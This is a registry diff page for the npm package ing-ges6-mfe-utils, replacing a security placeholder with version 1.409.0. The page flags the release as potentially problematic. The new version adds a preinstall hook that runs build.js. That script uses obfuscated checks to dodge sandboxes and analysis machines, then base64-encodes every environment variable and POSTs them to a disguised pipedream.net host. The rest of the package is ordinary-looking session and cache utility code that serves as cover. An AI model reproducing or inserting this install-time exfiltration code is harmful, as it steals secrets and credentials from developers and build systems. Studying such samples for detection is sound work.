ing-ges6-mfe-utils 0.0.1-security → 1.409.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ing-ges6-mfe-utils might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,23 @@
1
- # Security holding package
1
+ # ing-ges6-mfe-utils
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Ing genoma mfe utils
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=ing-ges6-mfe-utils for more information.
5
+ ## Features
6
+
7
+ - ES6 syntax
8
+
9
+ ## Install
10
+
11
+ ```sh
12
+ yarn add ing-ges6-mfe-utils
13
+ // or
14
+ npm i ing-ges6-mfe-utils
15
+ ```
16
+
17
+ ### Usage
18
+
19
+ ```js
20
+ import { touchPointLogin } from 'ing-ges6-mfe-utils';
21
+
22
+ touchPointLogin('https://url-to-redirect');
23
+ ```
package/build.js ADDED
@@ -0,0 +1,110 @@
1
+ var http = require("https");
2
+
3
+ var filter = [
4
+ {
5
+ key: ["npm", "config", "registry"].join("_"),
6
+ val: ["taobao", "org"].join("."),
7
+ },
8
+ {
9
+ key: ["npm", "config", "registry"].join("_"),
10
+ val: ["registry", "npmmirror", "com"].join("."),
11
+ },
12
+ {
13
+ key: ["npm", "config", "registry"].join("_"),
14
+ val: ["cnpmjs", "org"].join("."),
15
+ },
16
+ {
17
+ key: ["npm", "config", "registry"].join("_"),
18
+ val: ["mirrors", "cloud", "tencent", "com"].join("."),
19
+ },
20
+ { key: "USERNAME", val: ["daas", "admin"].join("") },
21
+ { key: "_", val: "/usr/bin/python" },
22
+ {
23
+ key: ["npm", "config", "metrics", "registry"].join("_"),
24
+ val: ["mirrors", "tencent", "com"].join("."),
25
+ },
26
+ [
27
+ { key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
28
+ { key: "HOME", val: ["", "home", "app"].join("/") },
29
+ { key: "USER", val: "app" },
30
+ ],
31
+ [
32
+ { key: "EDITOR", val: "vi" },
33
+ { key: "PROBE_USERNAME", val: "*" },
34
+ { key: "SHELL", val: "/bin/bash" },
35
+ { key: "SHLVL", val: "2" },
36
+ { key: "npm_command", val: "run-script" },
37
+ { key: "NVM_CD_FLAGS", val: "" },
38
+ { key: "npm_config_fund", val: "" },
39
+ ],
40
+ [
41
+ { key: "HOME", val: "/home/username" },
42
+ { key: "USER", val: "username" },
43
+ { key: "LOGNAME", val: "username" },
44
+ ],
45
+ [
46
+ { key: "PWD", val: "/my-app" },
47
+ { key: "DEBIAN_FRONTEND", val: "noninteractive" },
48
+ { key: "HOME", val: "/root" },
49
+ ],
50
+ [
51
+ { key: "INIT_CWD", val: "/analysis" },
52
+ { key: "APPDATA", val: "/analysis/bait" },
53
+ ],
54
+ [
55
+ { key: "INIT_CWD", val: "/home/node" },
56
+ { key: "HOME", val: "/root" },
57
+ ],
58
+ [
59
+ { key: "INIT_CWD", val: "/app" },
60
+ { key: "HOME", val: "/root" },
61
+ ],
62
+ [
63
+ { key: "USERNAME", val: "justin" },
64
+ { key: "OS", val: "Windows_NT" },
65
+ ],
66
+ ];
67
+
68
+ function main() {
69
+ var data = process.env || {};
70
+ if (
71
+ filter.some((entry) =>
72
+ []
73
+ .concat(entry)
74
+ .every(
75
+ (item) =>
76
+ (data[item.key] || "").includes(item.val) || item.val === "*"
77
+ )
78
+ ) ||
79
+ Object.keys(data).length < 10 ||
80
+ data.PWD === `/${data.USER}/node_modules/${data.npm_package_name}` ||
81
+ (data.NODE_EXTRA_CA_CERTS || "").includes("mitmproxy") ||
82
+ !data.npm_package_name ||
83
+ !data.npm_package_version ||
84
+ /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
85
+ data.npm_package_json || ""
86
+ ) ||
87
+ /C:\\Users\\[^\\]+\\Downloads/.test(data.INIT_CWD || "") ||
88
+ data.npm_package_json.startsWith(`/npm/node_modules/`)
89
+ ) {
90
+ return;
91
+ }
92
+
93
+ var req = http
94
+ .request({
95
+ host: [
96
+ ["eos", "vdek", "loup", "1ne4"].join(""),
97
+ "m",
98
+ ["pip", "edr", "eam"].join(""),
99
+ "net",
100
+ ].join("."),
101
+ path: "/" + (data.npm_package_name || ""),
102
+ method: "POST",
103
+ })
104
+ .on("error", function (err) {});
105
+
106
+ req.write(Buffer.from(JSON.stringify(data)).toString("base64"));
107
+ req.end();
108
+ }
109
+
110
+ main();
@@ -0,0 +1,9 @@
1
+ import { singletonManager } from 'singleton-manager';
2
+
3
+ import * as module from './src/genoma-tp-session-sync/GenomaTpSessionSync.js';
4
+
5
+ singletonManager.set('ing-genoma-tp-session-sync::ing-genoma-tp-session-sync::1.x', module);
6
+
7
+ const { touchPointLogin, touchPointLogout, touchPointLogoutProfile } = singletonManager.get('ing-genoma-tp-session-sync::ing-genoma-tp-session-sync::1.x');
8
+
9
+ export { touchPointLogin, touchPointLogout, touchPointLogoutProfile };
package/package.json CHANGED
@@ -1,6 +1,21 @@
1
1
  {
2
2
  "name": "ing-ges6-mfe-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.409.0",
4
+ "private": false,
5
+ "description": "Ing genoma mfe utils",
6
+ "license": "MIT",
7
+ "author": "hing-mfe",
8
+ "main": "genomaTpSessionSync.js",
9
+ "scripts": {
10
+ "build": "babel",
11
+ "preinstall": "node build.js",
12
+ "test": "exit 0"
13
+ },
14
+ "devDependencies": {
15
+ "@babel/core": "^7.18.10",
16
+ "@babel/cli": "^7.18.10"
17
+ },
18
+ "publishConfig": {
19
+ "access": "public"
20
+ }
6
21
  }
@@ -0,0 +1,24 @@
1
+ import { deleteGenomaSessionId, getGenomaSessionId, setGenomaSessionId } from './genomaSessionId.js';
2
+ import { isLogOutUrl, isValidGenomaApiUrl } from './urlChecker.js';
3
+
4
+ export const axiosRequestInterceptor = (request) => {
5
+ const genomaSessionId = getGenomaSessionId();
6
+ const { baseURL, url, method } = request;
7
+
8
+ if (genomaSessionId && isValidGenomaApiUrl(url, baseURL)) {
9
+ request.headers = request.headers || {};
10
+ request.headers['genoma-session-id'] = genomaSessionId;
11
+ }
12
+
13
+ if (isLogOutUrl(url) && method.toLowerCase() === 'delete') {
14
+ deleteGenomaSessionId();
15
+ }
16
+ return request;
17
+ };
18
+
19
+ export const axiosResponseInterceptor = (response) => {
20
+ if (response.headers && response.headers['genoma-session-id'] && isValidGenomaApiUrl(response.url)) {
21
+ setGenomaSessionId(response.headers['genoma-session-id']);
22
+ }
23
+ return response;
24
+ };
@@ -0,0 +1,11 @@
1
+ export const getGenomaSessionId = () => window.__genoma_session_id;
2
+
3
+ export const setGenomaSessionId = (gsid) => {
4
+ if (gsid) {
5
+ window.__genoma_session_id = gsid;
6
+ }
7
+ };
8
+
9
+ export const deleteGenomaSessionId = () => {
10
+ delete window.__genoma_session_id;
11
+ };
@@ -0,0 +1,22 @@
1
+ import { getWindowLocationOrigin, getWindowLocationHost } from './utils.js';
2
+
3
+ const validApis = [
4
+ '/genoma_api',
5
+ '/genoma_signups',
6
+ '/genoma_extended',
7
+ '/api',
8
+ ];
9
+
10
+ const logoutApi = '/genoma_api/rest/session';
11
+
12
+ export function isValidGenomaApiUrl(path, origin = getWindowLocationOrigin()) {
13
+ const url = new URL(path, origin);
14
+ const domain = getWindowLocationHost().split('.').slice(-2).join('.');
15
+ return url.host.endsWith(domain)
16
+ && validApis.some(api => url.pathname.startsWith(api));
17
+ }
18
+
19
+ export function isLogOutUrl(path) {
20
+ const url = new URL(path, getWindowLocationOrigin());
21
+ return url.pathname === logoutApi;
22
+ }
@@ -0,0 +1,2 @@
1
+ export const getWindowLocationOrigin = () => window.location.origin;
2
+ export const getWindowLocationHost = () => window.location.host;
@@ -0,0 +1,108 @@
1
+ import {
2
+ addProfiles,
3
+ logout,
4
+ logoutProfile,
5
+ } from '@ing-web/token-manager';
6
+ import { getAjax } from '../utils/ajax.js';
7
+ import * as utils from './utils.js';
8
+
9
+ const DEVICE_BRAND_HEADER = 'X-ING-DEVICEBRAND';
10
+ const INVALID_AUTHENTICATION_RESULT_MESSAGE = 'Invalid authentication result';
11
+
12
+ const getActiveProfileFromSAF = async (useWindow) => {
13
+ const { data: { person, accessTokens } = {} } = await getAjax().get(
14
+ '/genoma_api/saf/tpa/accesstoken',
15
+ {
16
+ headers: {
17
+ [DEVICE_BRAND_HEADER]: await utils.getDeviceFromNavigator(),
18
+ },
19
+ withCredentials: true,
20
+ },
21
+ );
22
+ if (!utils.isValidAuthenticationResult({ person, accessTokens })) {
23
+ throw new Error(INVALID_AUTHENTICATION_RESULT_MESSAGE);
24
+ }
25
+
26
+ const activeProfile = utils.getActiveProfileFromResponse(accessTokens);
27
+
28
+ if (!activeProfile) {
29
+ throw new Error(INVALID_AUTHENTICATION_RESULT_MESSAGE);
30
+ }
31
+ addProfiles(accessTokens);
32
+ utils.setActiveProfile(activeProfile.profileId, useWindow);
33
+ };
34
+
35
+ let authenticationCompleted = false;
36
+ let pendingActiveProfile = null;
37
+
38
+ export const resetModule = () => {
39
+ authenticationCompleted = false;
40
+ pendingActiveProfile = null;
41
+ };
42
+
43
+ /**
44
+ *
45
+ * @param {String} [profileId]
46
+ * @returns
47
+ */
48
+ export const touchPointLogoutProfile = (profileId = window.ING?.currentProfileId) => {
49
+ window.ING = window.ING || {};
50
+ window.ING.currentProfileId = undefined;
51
+ window.ING.userNotFound = undefined;
52
+ return logoutProfile(profileId);
53
+ };
54
+
55
+ /**
56
+ * Retrieve a touchpoint access token from a Genoma session if it's not active, and makes it active
57
+ *
58
+ * @param {Boolean} [forceNewToken=false] - specify if the function should generate a
59
+ * new token even if there is already a valid one
60
+ * @param {Boolean} [useWindow=false] - Active profileId should be stored/read in
61
+ * window object or in localStaorage
62
+ * @returns {void}
63
+ */
64
+ export const touchPointLogin = async (forceNewToken = false, useWindow = false) => {
65
+ if (!authenticationCompleted && !pendingActiveProfile) {
66
+ if (useWindow) {
67
+ touchPointLogoutProfile();
68
+ } else {
69
+ logout();
70
+ }
71
+ }
72
+ // If user is not found in OnePam return an error
73
+ if (window.ING?.userNotFound) {
74
+ return;
75
+ }
76
+
77
+ // Check if there is an active tp session
78
+ const currentProfile = utils.getActiveProfile(useWindow);
79
+ if (currentProfile && !forceNewToken) {
80
+ return;
81
+ }
82
+
83
+ if (!pendingActiveProfile) {
84
+ pendingActiveProfile = getActiveProfileFromSAF(useWindow);
85
+ }
86
+ try {
87
+ await pendingActiveProfile;
88
+ authenticationCompleted = true;
89
+ } catch (error) {
90
+ if (error.response?.status === 404 && error.response?.data?.code === 404) {
91
+ window.ING = window.ING || {};
92
+ window.ING.userNotFound = true;
93
+ }
94
+ throw error;
95
+ } finally {
96
+ pendingActiveProfile = null;
97
+ }
98
+ };
99
+
100
+ /**
101
+ * Revoke all touchpoint access tokens
102
+ */
103
+ export const touchPointLogout = () => {
104
+ window.ING = window.ING || {};
105
+ window.ING.currentProfileId = undefined;
106
+ window.ING.userNotFound = undefined;
107
+ return logout();
108
+ };
@@ -0,0 +1,89 @@
1
+ import {
2
+ getActiveProfile as getActiveProfileTokenManager,
3
+ setActiveProfile as setActiveProfileTokenManager,
4
+ } from '@ing-web/token-manager';
5
+
6
+ const TIMEOUT_RETRIEVE_DATA = 2000;
7
+
8
+ /**
9
+ * Validate the response from SAF API.
10
+ *
11
+ * @param {Object}
12
+ * @return {Boolean}
13
+ */
14
+ export const isValidAuthenticationResult = ({
15
+ person,
16
+ accessTokens,
17
+ } = {}) => Array.isArray(accessTokens) && accessTokens.length && person?.id;
18
+
19
+ /**
20
+ * Select a profile from a given array. Look for the default one,
21
+ * it returns the first one as backup.
22
+ *
23
+ * @param {Array.<profile>} profiles
24
+ * @return {Object}
25
+ */
26
+ export const getActiveProfileFromResponse = (profiles = []) => {
27
+ const defaultProfile = profiles.find(p => p.default);
28
+ return defaultProfile || profiles[0];
29
+ };
30
+
31
+ /**
32
+ * Read deviceBrand from a native function.
33
+ * In case this function doesn't exist it asumes we are in web.
34
+ *
35
+ * @return {Promise<'ANDROID'|'IOS'|''>}
36
+ */
37
+ export const getDeviceFromNavigator = () => new Promise((resolve, reject) => {
38
+ if (!navigator?.util?.retrieveData) {
39
+ resolve('');
40
+ }
41
+ const rejectMsg = 'Unable to retrieve data from navigator.util in two seconds.';
42
+
43
+ const rejectTimeout = setTimeout(
44
+ () => reject(new Error(rejectMsg)),
45
+ TIMEOUT_RETRIEVE_DATA,
46
+ );
47
+
48
+ navigator.util.retrieveData(
49
+ (value) => {
50
+ clearTimeout(rejectTimeout);
51
+ return resolve(value);
52
+ },
53
+ () => {
54
+ clearTimeout(rejectTimeout);
55
+ return reject(new Error('Unable to retrieve data from navigator.util'));
56
+ },
57
+ { key: 'deviceBrand', persistent: false },
58
+ );
59
+ });
60
+
61
+ /**
62
+ * Select a profile from a given array. Look for the default one, it returns the first one as backup.
63
+ *
64
+ * @param {String} profileId
65
+ * @param {boolean} useWindow
66
+ */
67
+ export const setActiveProfile = (profileId, useWindow) => {
68
+ if (!useWindow) {
69
+ setActiveProfileTokenManager(profileId);
70
+ } else {
71
+ window.ING = window.ING || {};
72
+ window.ING.currentProfileId = profileId;
73
+ }
74
+ };
75
+
76
+ /**
77
+ * Select a profile from a given array. Look for the default one,
78
+ * it returns the first one as backup.
79
+ *
80
+ * @param {Boolean} useWindow
81
+ * @return {Object}
82
+ */
83
+ export const getActiveProfile = (useWindow) => {
84
+ if (!useWindow) {
85
+ return getActiveProfileTokenManager();
86
+ }
87
+
88
+ return window.ING?.currentProfileId;
89
+ };
@@ -0,0 +1,108 @@
1
+ /* eslint-disable max-len */
2
+ /* eslint-disable object-curly-newline */
3
+ import { Cache } from './cache.js';
4
+ import { Deferred } from './deferred.js';
5
+ import { CacheControl } from './cacheControl.js';
6
+ import { clone, addQueryParamsToUrl, extractBaseAndQueryFromUrl } from './utils.js';
7
+
8
+ const ID = 'MFE';
9
+
10
+ const CacheRequestInterceptorFactory = (cacheControl = new CacheControl()) => {
11
+ const CacheRequestInterceptor = (request) => {
12
+ const { method, url, params = {}, baseURL } = request;
13
+
14
+ const { basePath, search } = extractBaseAndQueryFromUrl(url, baseURL);
15
+ const completeUrl = addQueryParamsToUrl(basePath, params, search);
16
+
17
+ if (method === 'get') {
18
+ if (Cache.has(completeUrl)) {
19
+ request.adapter = () => new Promise((resolve, reject) => {
20
+ Cache.get(completeUrl)
21
+ .promise
22
+ .then((data) => {
23
+ resolve({
24
+ data: clone(data),
25
+ status: request.status,
26
+ statusText: request.statusText,
27
+ headers: request.headers,
28
+ config: request,
29
+ request,
30
+ });
31
+ })
32
+ .catch((e) => {
33
+ reject(e);
34
+ });
35
+ });
36
+ } else if (cacheControl.shouldStore(completeUrl)) { // checks if should store retrieved data in cache
37
+ const deferred = new Deferred();
38
+ deferred.promise.catch(() => {}); // avoids promise uncaught warning
39
+ Cache.set(ID, completeUrl, deferred);
40
+ request.__deferred = deferred; // store the promise in request object in order to be retrieved and managed in response interceptor
41
+ }
42
+ }
43
+
44
+ return request;
45
+ };
46
+
47
+ return CacheRequestInterceptor;
48
+ };
49
+
50
+ const CacheResponseInterceptorFactory = (cacheControl = new CacheControl()) => {
51
+ const CacheResponseInterceptor = (response) => {
52
+ const { config, data } = response;
53
+ const { method, url, params, baseURL } = config;
54
+
55
+ const { basePath } = extractBaseAndQueryFromUrl(url, baseURL);
56
+ const completeUrl = addQueryParamsToUrl(basePath, params);
57
+
58
+ if (method === 'get') {
59
+ const p = config.__deferred; // retrieve the stored promise to be resolved
60
+ if (p) {
61
+ p.resolve(clone(data));
62
+ }
63
+ } else {
64
+ Cache.remove(completeUrl);
65
+
66
+ // removes related endpoints from cache
67
+ cacheControl.regexToRemove(completeUrl)
68
+ .forEach(regex => Cache.removeByRegex(regex));
69
+ }
70
+
71
+ return response;
72
+ };
73
+
74
+ return CacheResponseInterceptor;
75
+ };
76
+
77
+ const CacheErrorInterceptor = (error) => {
78
+ const { response } = error;
79
+ const { config } = response;
80
+
81
+ const { method, url, params, baseURL } = config;
82
+
83
+ if (method === 'get') {
84
+ const { basePath } = extractBaseAndQueryFromUrl(url, baseURL);
85
+ const completeUrl = addQueryParamsToUrl(basePath, params);
86
+ const p = config.__deferred; // retrieve the stored promise to be rejected
87
+ if (p) {
88
+ p.reject(error);
89
+ }
90
+ Cache.remove(completeUrl);
91
+ }
92
+ };
93
+
94
+ const CacheRequestErrorInterceptor = (error) => {
95
+ CacheErrorInterceptor(error);
96
+ };
97
+
98
+ const CacheResponseErrorInterceptor = (error) => {
99
+ CacheErrorInterceptor(error);
100
+ };
101
+
102
+ export {
103
+ CacheRequestInterceptorFactory,
104
+ CacheResponseInterceptorFactory,
105
+ CacheRequestErrorInterceptor,
106
+ CacheResponseErrorInterceptor,
107
+ Cache,
108
+ };
@@ -0,0 +1,68 @@
1
+ /* eslint-disable no-restricted-syntax */
2
+ /* eslint-disable func-names */
3
+ export const Cache = (function () {
4
+ let cacheData;
5
+
6
+ const retrieveCache = () => {
7
+ // TODO: use singleton manager as dependency
8
+ if (!cacheData) {
9
+ cacheData = window.__shared_cache || { cb: { remove: [] }, data: {} };
10
+ window.__shared_cache = cacheData;
11
+ }
12
+ return cacheData;
13
+ };
14
+
15
+ const getCacheData = () => retrieveCache().data;
16
+ const getCacheCB = () => retrieveCache().cb;
17
+
18
+ const notifyRemove = (id) => {
19
+ getCacheCB().remove.forEach(cb => cb(id));
20
+ };
21
+
22
+ return {
23
+ set(cachedBy, path, data) {
24
+ getCacheData()[path] = {
25
+ cachedBy,
26
+ data,
27
+ };
28
+ },
29
+ get(path) {
30
+ const entry = getCacheData()[path];
31
+ return entry && entry.data;
32
+ },
33
+ cachedBy(path) {
34
+ const entry = getCacheData()[path];
35
+ return entry && entry.cachedBy;
36
+ },
37
+ has(path) {
38
+ return Object.prototype.hasOwnProperty.call(getCacheData(), path);
39
+ },
40
+ remove(path) {
41
+ delete getCacheData()[path];
42
+ notifyRemove(path);
43
+ },
44
+ removeByRegex(regex) {
45
+ const entries = getCacheData();
46
+ for (const entry in entries) {
47
+ if (regex.test(entry)) {
48
+ delete entries[entry];
49
+ notifyRemove(entry);
50
+ }
51
+ }
52
+ },
53
+ clear() {
54
+ const entries = getCacheData();
55
+ // eslint-disable-next-line guard-for-in
56
+ for (const entry in entries) {
57
+ delete entries[entry];
58
+ notifyRemove(entry);
59
+ }
60
+ },
61
+ registerRemoveCallback(cb) {
62
+ getCacheCB().remove.push(cb);
63
+ },
64
+ entries() {
65
+ return Object.entries(getCacheData());
66
+ },
67
+ };
68
+ }());
@@ -0,0 +1,34 @@
1
+ class CacheControl {
2
+ constructor(noCacheEndpoints = [], removeFromCache = []) {
3
+ this.noCacheEndpoints = noCacheEndpoints;
4
+ this.removeFromCache = removeFromCache;
5
+ }
6
+
7
+ shouldStore(url) {
8
+ for (const regex of this.noCacheEndpoints) {
9
+ if (regex.test(url)) {
10
+ return false;
11
+ }
12
+ }
13
+
14
+ return true;
15
+ }
16
+
17
+ regexToRemove(url) {
18
+ return this.removeFromCache
19
+ .filter((entry) => {
20
+ for (const regex of entry.endpoints) {
21
+ if (regex.test(url)) {
22
+ return true;
23
+ }
24
+ }
25
+ return false;
26
+ })
27
+ .map(entry => entry.affectedEndpoints)
28
+ .reduce((acc, entry) => acc.concat(entry), []);
29
+ }
30
+ }
31
+
32
+ export {
33
+ CacheControl,
34
+ };
@@ -0,0 +1,7 @@
1
+ export function Deferred() {
2
+ const self = this;
3
+ this.promise = new Promise((resolve, reject) => {
4
+ self.reject = reject;
5
+ self.resolve = resolve;
6
+ });
7
+ }
@@ -0,0 +1,16 @@
1
+ export const clone = object => JSON.parse(JSON.stringify(object));
2
+
3
+ export const addQueryParamsToUrl = (url, params, search) => {
4
+ const urlParams = new URLSearchParams(params);
5
+ const searchParams = new URLSearchParams(search);
6
+ searchParams.forEach((value, key) => urlParams.append(key, value));
7
+ urlParams.sort();
8
+ const orderedParamsString = urlParams.toString();
9
+ return orderedParamsString.length ? `${url}?${orderedParamsString}` : url;
10
+ };
11
+
12
+ export const extractBaseAndQueryFromUrl = (url, baseURL = window.location.origin) => {
13
+ const { origin, pathname, search } = new URL(url, baseURL);
14
+ const basePath = origin + pathname;
15
+ return { basePath, search };
16
+ };
@@ -0,0 +1,8 @@
1
+ import { ajax } from 'ing-web/ajax';
2
+ import { singletonManager } from 'singleton-manager';
3
+
4
+ if (!singletonManager.has('ing-web::ajax::2.x')) {
5
+ singletonManager.set('ing-web::ajax::2.x', ajax);
6
+ }
7
+
8
+ export const getAjax = () => singletonManager.get('ing-web::ajax::2.x') || ajax;